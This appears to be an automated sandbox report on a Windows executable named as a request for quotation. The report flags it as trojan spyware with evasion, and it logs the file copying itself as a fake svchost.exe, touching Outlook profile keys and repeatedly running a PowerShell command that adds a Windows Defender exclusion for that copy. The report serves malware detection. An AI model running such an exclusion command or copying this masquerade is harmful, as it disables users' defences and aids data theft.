Source: REQUEST FOR QUOTATION 4675674665.exe, 0000000E.00000002.712309500.0000000000456000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameALTROWSTATUS.exe: vs REQUEST FOR QUOTATION 4675674665.exe
Source: REQUEST FOR QUOTATION 4675674665.exe, 0000000F.00000000.712782227.0000000000026000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameALTROWSTATUS.exe: vs REQUEST FOR QUOTATION 4675674665.exe
Source: REQUEST FOR QUOTATION 4675674665.exe, 0000000F.00000002.919009875.0000000000466000.00000040.00000001.sdmp	Binary or memory string: OriginalFilenamePWET Dlu.exe2 vs REQUEST FOR QUOTATION 4675674665.exe
Source: REQUEST FOR QUOTATION 4675674665.exe, 0000000F.00000002.938315951.0000000005BF9000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs REQUEST FOR QUOTATION 4675674665.exe

Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.820358709.000000000070C000.00000004.00000020.sdmp

Binary or memory string: f:\binaries\Intermediate\vb\microsoft.visualbasic.build.vbproj_731629843\objr\x86\Microsoft.VisualBasic.pdbT

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@54/25@110/10

Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe

File created: C:\Users\user\AppData\Local\SAJotrsvAWjW

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6336:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6896:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4608:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5332:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4864:120:WilError_01
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6976

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dscyopo0.jur.ps1

Jump to behavior

Source: unknown	Process created: C:\Windows\explorer.exe
Source: unknown	Process created: C:\Windows\explorer.exe
Source: unknown	Process created: C:\Windows\explorer.exe
Source: unknown	Process created: C:\Windows\explorer.exe

Source: REQUEST FOR QUOTATION 4675674665.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Windows\SysWOW64\WerFault.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe

File read: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe:Zone.Identifier

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe 'C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe'
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe' -Force
Source: unknown	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /c timeout 1
Source: unknown	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\SysWOW64\timeout.exe timeout 1
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe
Source: unknown	Process created: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe
Source: unknown	Process created: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe
Source: unknown	Process created: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k WerSvcGroup
Source: unknown	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 6976 -ip 6976
Source: unknown	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6976 -s 2608
Source: unknown	Process created: C:\Windows\explorer.exe 'C:\Windows\explorer.exe' 'C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe'
Source: unknown	Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
Source: unknown	Process created: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe 'C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe'
Source: unknown	Process created: C:\Windows\explorer.exe 'C:\Windows\explorer.exe' 'C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe'
Source: unknown	Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
Source: unknown	Process created: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe 'C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe'
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe' -Force
Source: unknown	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /c timeout 1
Source: unknown	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe' -Force
Source: unknown	Process created: C:\Windows\SysWOW64\timeout.exe timeout 1
Source: unknown	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe' -Force	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /c timeout 1	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process created: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process created: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process created: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process created: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout 1	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 6976 -ip 6976
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6976 -s 2608
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\WerFault.exe	Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /c timeout 1
Source: C:\Windows\explorer.exe	Process created: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe 'C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe'
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe' -Force
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /c timeout 1
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process created: unknown unknown
Source: C:\Windows\explorer.exe	Process created: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe 'C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe'
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe' -Force
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process created: unknown unknown
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process created: unknown unknown
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout 1

Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{F324E4F9-8496-40b2-A1FF-9617C1C9AFFE}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: REQUEST FOR QUOTATION 4675674665.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: REQUEST FOR QUOTATION 4675674665.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: rsaenh.pdb source: WerFault.exe, 00000012.00000003.755898398.00000000053AB000.00000004.00000040.sdmp
Source:	Binary string: System.ni.pdb% source: WerFault.exe, 00000012.00000003.754371075.00000000053AE000.00000004.00000040.sdmp
Source:	Binary string: System.ni.pdb" source: WerFault.exe, 00000012.00000003.755210087.0000000005224000.00000004.00000001.sdmp
Source:	Binary string: Microsoft.VisualBasic.pdbx source: WerFault.exe, 00000012.00000002.815185277.00000000054E0000.00000004.00000001.sdmp
Source:	Binary string: wkernel32.pdb source: WerFault.exe, 00000012.00000003.754571145.0000000005221000.00000004.00000001.sdmp
Source:	Binary string: bcrypt.pdb source: WerFault.exe, 00000012.00000003.755898398.00000000053AB000.00000004.00000040.sdmp
Source:	Binary string: ucrtbase.pdb source: WerFault.exe, 00000012.00000003.756024050.00000000053A0000.00000004.00000040.sdmp
Source:	Binary string: mskeyprotect.pdb source: WerFault.exe, 00000012.00000003.754371075.00000000053AE000.00000004.00000040.sdmp
Source:	Binary string: msvcrt.pdb source: WerFault.exe, 00000012.00000003.754571145.0000000005221000.00000004.00000001.sdmp
Source:	Binary string: profapi.pdb0 source: WerFault.exe, 00000012.00000003.755898398.00000000053AB000.00000004.00000040.sdmp
Source:	Binary string: fwpuclnt.pdbz- source: WerFault.exe, 00000012.00000003.754371075.00000000053AE000.00000004.00000040.sdmp
Source:	Binary string: wrpcrt4.pdb source: WerFault.exe, 00000012.00000003.754571145.0000000005221000.00000004.00000001.sdmp
Source:	Binary string: wntdll.pdb source: WerFault.exe, 00000012.00000003.754571145.0000000005221000.00000004.00000001.sdmp
Source:	Binary string: cryptnet.pdb source: WerFault.exe, 00000012.00000003.754371075.00000000053AE000.00000004.00000040.sdmp
Source:	Binary string: winnsi.pdb source: WerFault.exe, 00000012.00000003.754371075.00000000053AE000.00000004.00000040.sdmp
Source:	Binary string: clr.pdb source: WerFault.exe, 00000012.00000003.756024050.00000000053A0000.00000004.00000040.sdmp
Source:	Binary string: .ni.pdb source: WerFault.exe, 00000012.00000003.755210087.0000000005224000.00000004.00000001.sdmp
Source:	Binary string: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.PDBp source: svchost.exe, 00000015.00000002.911460686.0000000000757000.00000004.00000010.sdmp
Source:	Binary string: cryptsp.pdb source: WerFault.exe, 00000012.00000003.755898398.00000000053AB000.00000004.00000040.sdmp
Source:	Binary string: advapi32.pdb source: WerFault.exe, 00000012.00000003.754571145.0000000005221000.00000004.00000001.sdmp
Source:	Binary string: wsspicli.pdb source: WerFault.exe, 00000012.00000003.754571145.0000000005221000.00000004.00000001.sdmp
Source:	Binary string: wuser32.pdbV source: WerFault.exe, 00000012.00000003.755898398.00000000053AB000.00000004.00000040.sdmp
Source:	Binary string: System.Configuration.ni.pdb" source: WerFault.exe, 00000012.00000003.755210087.0000000005224000.00000004.00000001.sdmp
Source:	Binary string: System.Configuration.ni.pdb% source: WerFault.exe, 00000012.00000003.754371075.00000000053AE000.00000004.00000040.sdmp
Source:	Binary string: Microsoft.VisualBasic.pdb source: WerFault.exe, 00000012.00000003.754571145.0000000005221000.00000004.00000001.sdmp
Source:	Binary string: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.PDB source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.816619374.00000000001A7000.00000004.00000010.sdmp
Source:	Binary string: CLBCatQ.pdb source: WerFault.exe, 00000012.00000003.754371075.00000000053AE000.00000004.00000040.sdmp
Source:	Binary string: ntmarta.pdb source: WerFault.exe, 00000012.00000003.754371075.00000000053AE000.00000004.00000040.sdmp
Source:	Binary string: urlmon.pdb source: WerFault.exe, 00000012.00000003.755898398.00000000053AB000.00000004.00000040.sdmp
Source:	Binary string: schannel.pdb source: WerFault.exe, 00000012.00000003.754371075.00000000053AE000.00000004.00000040.sdmp
Source:	Binary string: System.Configuration.pdbx source: WerFault.exe, 00000012.00000002.815185277.00000000054E0000.00000004.00000001.sdmp
Source:	Binary string: npJiVisualBasic.pdb4zs source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.816619374.00000000001A7000.00000004.00000010.sdmp
Source:	Binary string: wkernelbase.pdb source: WerFault.exe, 00000012.00000003.754571145.0000000005221000.00000004.00000001.sdmp
Source:	Binary string: shlwapi.pdb source: WerFault.exe, 00000012.00000003.754474634.00000000053A2000.00000004.00000040.sdmp
Source:	Binary string: mscorlib.ni.pdb source: WerFault.exe, 00000012.00000003.754571145.0000000005221000.00000004.00000001.sdmp
Source:	Binary string: uC:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.PDB source: svchost.exe, 00000015.00000002.911460686.0000000000757000.00000004.00000010.sdmp
Source:	Binary string: System.Xml.pdbx source: WerFault.exe, 00000012.00000002.815185277.00000000054E0000.00000004.00000001.sdmp
Source:	Binary string: fltLib.pdbB source: WerFault.exe, 00000012.00000003.755898398.00000000053AB000.00000004.00000040.sdmp
Source:	Binary string: dwmapi.pdb source: WerFault.exe, 00000012.00000003.755898398.00000000053AB000.00000004.00000040.sdmp
Source:	Binary string: dhcpcsvc.pdbd- source: WerFault.exe, 00000012.00000003.754371075.00000000053AE000.00000004.00000040.sdmp
Source:	Binary string: mscoree.pdb source: WerFault.exe, 00000012.00000003.754571145.0000000005221000.00000004.00000001.sdmp
Source:	Binary string: bcrypt.pdbH source: WerFault.exe, 00000012.00000003.755898398.00000000053AB000.00000004.00000040.sdmp
Source:	Binary string: ws2_32.pdb source: WerFault.exe, 00000012.00000003.754371075.00000000053AE000.00000004.00000040.sdmp
Source:	Binary string: mscorsecimpl.pdb source: WerFault.exe, 00000012.00000003.754371075.00000000053AE000.00000004.00000040.sdmp
Source:	Binary string: shlwapi.pdbk source: WerFault.exe, 00000012.00000003.754474634.00000000053A2000.00000004.00000040.sdmp
Source:	Binary string: iphlpapi.pdb source: WerFault.exe, 00000012.00000003.754371075.00000000053AE000.00000004.00000040.sdmp
Source:	Binary string: System.Configuration.pdb" source: WerFault.exe, 00000012.00000003.755210087.0000000005224000.00000004.00000001.sdmp
Source:	Binary string: rsaenh.pdb0 source: WerFault.exe, 00000012.00000003.755898398.00000000053AB000.00000004.00000040.sdmp
Source:	Binary string: nsi.pdb source: WerFault.exe, 00000012.00000003.754371075.00000000053AE000.00000004.00000040.sdmp
Source:	Binary string: mscorlib.pdb1 source: WerFault.exe, 00000012.00000003.754571145.0000000005221000.00000004.00000001.sdmp
Source:	Binary string: webio.pdb source: WerFault.exe, 00000012.00000003.754371075.00000000053AE000.00000004.00000040.sdmp
Source:	Binary string: gpapi.pdb source: WerFault.exe, 00000012.00000003.754371075.00000000053AE000.00000004.00000040.sdmp
Source:	Binary string: powrprof.pdb source: WerFault.exe, 00000012.00000003.755898398.00000000053AB000.00000004.00000040.sdmp
Source:	Binary string: System.Configuration.pdb source: WerFault.exe, 00000012.00000003.754571145.0000000005221000.00000004.00000001.sdmp
Source:	Binary string: ole32.pdb source: WerFault.exe, 00000012.00000003.755898398.00000000053AB000.00000004.00000040.sdmp
Source:	Binary string: secur32.pdbv- source: WerFault.exe, 00000012.00000003.754371075.00000000053AE000.00000004.00000040.sdmp
Source:	Binary string: iertutil.pdb source: WerFault.exe, 00000012.00000003.754371075.00000000053AE000.00000004.00000040.sdmp
Source:	Binary string: mscorlib.ni.pdbx source: WerFault.exe, 00000012.00000002.815185277.00000000054E0000.00000004.00000001.sdmp
Source:	Binary string: msasn1.pdb source: WerFault.exe, 00000012.00000003.754371075.00000000053AE000.00000004.00000040.sdmp
Source:	Binary string: mscorlib.pdb source: WerFault.exe, 00000012.00000003.754571145.0000000005221000.00000004.00000001.sdmp
Source:	Binary string: comctl32v582.pdb source: WerFault.exe, 00000012.00000003.754371075.00000000053AE000.00000004.00000040.sdmp
Source:	Binary string: cfgmgr32.pdb source: WerFault.exe, 00000012.00000003.755898398.00000000053AB000.00000004.00000040.sdmp
Source:	Binary string: System.Drawing.pdb source: WerFault.exe, 00000012.00000003.754571145.0000000005221000.00000004.00000001.sdmp
Source:	Binary string: combase.pdb source: WerFault.exe, 00000012.00000003.754474634.00000000053A2000.00000004.00000040.sdmp
Source:	Binary string: Windows.Storage.pdb source: WerFault.exe, 00000012.00000003.754371075.00000000053AE000.00000004.00000040.sdmp
Source:	Binary string: cryptsp.pdb\ source: WerFault.exe, 00000012.00000003.755898398.00000000053AB000.00000004.00000040.sdmp
Source:	Binary string: ncrypt.pdb\|- source: WerFault.exe, 00000012.00000003.754371075.00000000053AE000.00000004.00000040.sdmp
Source:	Binary string: wkernel32.pdb( source: WerFault.exe, 00000012.00000003.723664026.0000000000A60000.00000004.00000001.sdmp
Source:	Binary string: ncrypt.pdb source: WerFault.exe, 00000012.00000003.754371075.00000000053AE000.00000004.00000040.sdmp
Source:	Binary string: Accessibility.pdbx source: WerFault.exe, 00000012.00000002.815185277.00000000054E0000.00000004.00000001.sdmp
Source:	Binary string: secur32.pdb source: WerFault.exe, 00000012.00000003.754371075.00000000053AE000.00000004.00000040.sdmp
Source:	Binary string: apphelp.pdb source: WerFault.exe, 00000012.00000003.754571145.0000000005221000.00000004.00000001.sdmp
Source:	Binary string: msvcp_win.pdb& source: WerFault.exe, 00000012.00000003.755898398.00000000053AB000.00000004.00000040.sdmp
Source:	Binary string: rasadhlp.pdb source: WerFault.exe, 00000012.00000003.754371075.00000000053AE000.00000004.00000040.sdmp
Source:	Binary string: version.pdb* source: WerFault.exe, 00000012.00000003.755898398.00000000053AB000.00000004.00000040.sdmp
Source:	Binary string: ml.ni.pdb source: WerFault.exe, 00000012.00000003.755210087.0000000005224000.00000004.00000001.sdmp
Source:	Binary string: ole32.pdb, source: WerFault.exe, 00000012.00000003.755898398.00000000053AB000.00000004.00000040.sdmp
Source:	Binary string: rtutils.pdbb- source: WerFault.exe, 00000012.00000003.754371075.00000000053AE000.00000004.00000040.sdmp
Source:	Binary string: WinTypes.pdb source: WerFault.exe, 00000012.00000003.754371075.00000000053AE000.00000004.00000040.sdmp
Source:	Binary string: powrprof.pdbD source: WerFault.exe, 00000012.00000003.755898398.00000000053AB000.00000004.00000040.sdmp
Source:	Binary string: dhcpcsvc.pdb source: WerFault.exe, 00000012.00000003.754371075.00000000053AE000.00000004.00000040.sdmp
Source:	Binary string: diasymreader.pdb_ source: WerFault.exe, 00000012.00000003.754371075.00000000053AE000.00000004.00000040.sdmp
Source:	Binary string: Accessibility.pdb source: WerFault.exe, 00000012.00000003.754571145.0000000005221000.00000004.00000001.sdmp
Source:	Binary string: cldapi.pdb:, source: WerFault.exe, 00000012.00000003.754371075.00000000053AE000.00000004.00000040.sdmp
Source:	Binary string: rawing.pdb source: WerFault.exe, 00000012.00000003.755210087.0000000005224000.00000004.00000001.sdmp
Source:	Binary string: ml.ni.pdb" source: WerFault.exe, 00000012.00000003.755210087.0000000005224000.00000004.00000001.sdmp
Source:	Binary string: mscoreei.pdbk source: WerFault.exe, 00000012.00000003.754474634.00000000053A2000.00000004.00000040.sdmp
Source:	Binary string: mscorlib.pdbx source: WerFault.exe, 00000012.00000002.815185277.00000000054E0000.00000004.00000001.sdmp
Source:	Binary string: REQUEST FOR QUOTATION 4675674665.PDB\| source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.816619374.00000000001A7000.00000004.00000010.sdmp
Source:	Binary string: t.VisualBasic.pdb source: WerFault.exe, 00000012.00000003.755210087.0000000005224000.00000004.00000001.sdmp
Source:	Binary string: (PGiLC:\Windows\Microsoft.VisualBasic.pdb source: svchost.exe, 00000015.00000002.911460686.0000000000757000.00000004.00000010.sdmp
Source:	Binary string: .pdb;( source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.816619374.00000000001A7000.00000004.00000010.sdmp
